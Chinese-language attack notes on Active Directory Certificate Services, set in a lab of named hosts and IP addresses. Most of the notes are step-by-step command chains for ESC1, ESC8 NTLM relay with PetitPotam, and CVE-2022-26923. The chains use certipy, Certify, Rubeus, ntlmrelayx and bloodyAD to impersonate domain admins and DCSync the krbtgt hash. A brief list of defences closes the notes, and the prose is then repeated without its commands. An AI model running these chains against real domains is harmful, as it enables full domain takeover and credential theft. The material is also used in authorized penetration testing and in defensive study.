ADCS攻击笔记
字数 1111 2025-08-26 22:11:22

ADCS攻击技术详解

1. 环境准备

测试环境配置

  • DC2012: 192.168.149.133 (Windows Server 2012 R2 域控)
  • ADCS: 192.168.149.135 (Windows Server 2012 R2 AD证书服务器)
  • WIN10: 192.168.149.134 (模拟办公网个人PC)
  • Kali: 192.168.149.129 (攻击机)

2. 信息枚举

域内信息收集

  1. 检查域配置:

    net config workstation
    
  2. 查询LDAP服务:

    nslookup -type=srv _ldap._tcp.dc._msdcs.FQDN
    
  3. 获取CA信息:

    certutil -CA
    nslookup DNSName
    

域外信息收集

  1. 识别域控特征:

    • NetBIOS名称通常包含"DC"关键字
    • 常见开放端口: 53(DNS)、88(Kerberos)、389(LDAP)、636(LDAPS)
  2. 检查ADCS服务:

    certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -dc-only -stdout
    
  3. 使用ADExplorer连接LDAP或直接访问:

    http://IP/certsrv/Default.asp
    

3. ESC1漏洞利用

漏洞前提条件

  1. 证书模板配置:
    • msPKI-Certificates-Name-Flag: 设置为ENROLLEE_SUPPLIES_SUBJECT
    • PkiExtendedKeyUsage: 包含Client Authentication
    • 注册权限: NT Authority\Authenticated Users

漏洞利用步骤

域内利用

  1. 查找漏洞模板:

    execute-assembly \path\Certify.exe find /vulnerable
    
  2. 为域管请求证书:

    execute-assembly \path\Certify.exe request /ca:[CA Name] /template:VulnTemplate /altname:domadmin
    
  3. 转换证书格式:

    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  4. 请求TGT并PTT:

    execute-assembly \path\Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt
    

域外利用

  1. 查找漏洞模板:

    certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout
    
  2. 请求域管证书:

    certipy req -u zhangsan@red.lab -p zs@123456 -target 192.168.149.135 -ca red-ADCS-CA -template ESC1 -upn administrator@red.lab
    
  3. 认证并DCSync:

    certipy auth -pfx administrator.pfx -dc-ip 192.168.149.133
    secretsdump.py red.lab/administrator@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash
    

4. ESC8漏洞利用

漏洞简介

ADCS Web接口默认支持NTLM身份验证且无NTLM Relay保护措施,可强制域控制器计算机帐户(DC$)向攻击者主机进行身份验证。

域内利用

  1. 使用ADCSPwn工具:

    execute-assembly \path\ADCSPwn.exe --adcs ADCS.red.lab --remote DC2012.red.lab
    
  2. 请求TGT并PTT:

    execute-assembly \path\Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt
    
  3. DCSync获取krbtgt哈希:

    dcsync red.lab red\krbtgt
    

注意: 需要域控启用WebClient服务,可通过安装桌面体验功能实现。

域外利用

  1. 强制域控认证:

    PetitPotam.py Relayip DCip
    
  2. 端口重定向:

    PortBender redirect 445 8445
    rportfwd_local 8445 127.0.0.1 8445
    
  3. NTLM Relay攻击:

    ntlmrelayx.py -t http://192.168.149.135/certsrv/certfnsh.asp -smb2support --adcs --template DomainController --smb-port 8445
    
  4. 请求TGT并DCSync:

    execute-assembly \path\Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt
    dcsync red.lab red\krbtgt
    

5. CVE-2022-26923漏洞利用

漏洞简介

允许低权限用户在默认ADCS环境中将权限提升到域管理员,利用默认启用的Machine模板。

利用步骤

  1. 创建恶意机器账户:

    certipy account create -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -user win -pass win@123456 -dns 'DC2012.red.lab'
    
  2. 请求证书:

    certipy req -u 'win$'@red.lab -p win@123456 -target 192.168.149.135 -ca red-ADCS-CA -template Machine
    
  3. 请求DC$的TGT:

    certipy auth -pfx dc2012.pfx -dc-ip 192.168.149.133
    
  4. DCSync获取krbtgt哈希:

    secretsdump.py red.lab/'DC2012$'@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash
    

备用方法(RBCD攻击)

  1. 转换证书格式:

    openssl pkcs12 -in dc2012.pfx -out dc2012.pem -nodes
    
  2. 设置基于资源的约束委派:

    python3 bloodyAD.py -c ':dc2012.pem' -u 'win$' --host 192.168.149.133 setRbcd 'win$' 'DC2012$'
    
  3. 获取服务票据:

    getST.py red.lab/'win$':'win@123456' -spn LDAP/DC2012.red.lab -impersonate administrator -dc-ip 192.168.149.133
    export KRB5CCNAME=administrator.ccache
    
  4. DCSync:

    secretsdump.py -k dc2012.red.lab -just-dc-user red/krbtgt
    

6. 防御建议

  1. 限制证书模板权限,移除ENROLLEE_SUPPLIES_SUBJECT设置
  2. 启用NTLM Relay保护措施
  3. 及时安装ADCS相关补丁
  4. 限制机器账户的创建权限
  5. 监控异常证书请求活动
ADCS攻击技术详解 1. 环境准备 测试环境配置 DC2012 : 192.168.149.133 (Windows Server 2012 R2 域控) ADCS : 192.168.149.135 (Windows Server 2012 R2 AD证书服务器) WIN10 : 192.168.149.134 (模拟办公网个人PC) Kali : 192.168.149.129 (攻击机) 2. 信息枚举 域内信息收集 检查域配置: 查询LDAP服务: 获取CA信息: 域外信息收集 识别域控特征: NetBIOS名称通常包含"DC"关键字 常见开放端口: 53(DNS)、88(Kerberos)、389(LDAP)、636(LDAPS) 检查ADCS服务: 使用ADExplorer连接LDAP或直接访问: 3. ESC1漏洞利用 漏洞前提条件 证书模板配置: msPKI-Certificates-Name-Flag : 设置为 ENROLLEE_SUPPLIES_SUBJECT PkiExtendedKeyUsage : 包含 Client Authentication 注册权限: NT Authority\Authenticated Users 漏洞利用步骤 域内利用 查找漏洞模板: 为域管请求证书: 转换证书格式: 请求TGT并PTT: 域外利用 查找漏洞模板: 请求域管证书: 认证并DCSync: 4. ESC8漏洞利用 漏洞简介 ADCS Web接口默认支持NTLM身份验证且无NTLM Relay保护措施,可强制域控制器计算机帐户(DC$)向攻击者主机进行身份验证。 域内利用 使用ADCSPwn工具: 请求TGT并PTT: DCSync获取krbtgt哈希: 注意 : 需要域控启用WebClient服务,可通过安装桌面体验功能实现。 域外利用 强制域控认证: 端口重定向: NTLM Relay攻击: 请求TGT并DCSync: 5. CVE-2022-26923漏洞利用 漏洞简介 允许低权限用户在默认ADCS环境中将权限提升到域管理员,利用默认启用的Machine模板。 利用步骤 创建恶意机器账户: 请求证书: 请求DC$的TGT: DCSync获取krbtgt哈希: 备用方法(RBCD攻击) 转换证书格式: 设置基于资源的约束委派: 获取服务票据: DCSync: 6. 防御建议 限制证书模板权限,移除 ENROLLEE_SUPPLIES_SUBJECT 设置 启用NTLM Relay保护措施 及时安装ADCS相关补丁 限制机器账户的创建权限 监控异常证书请求活动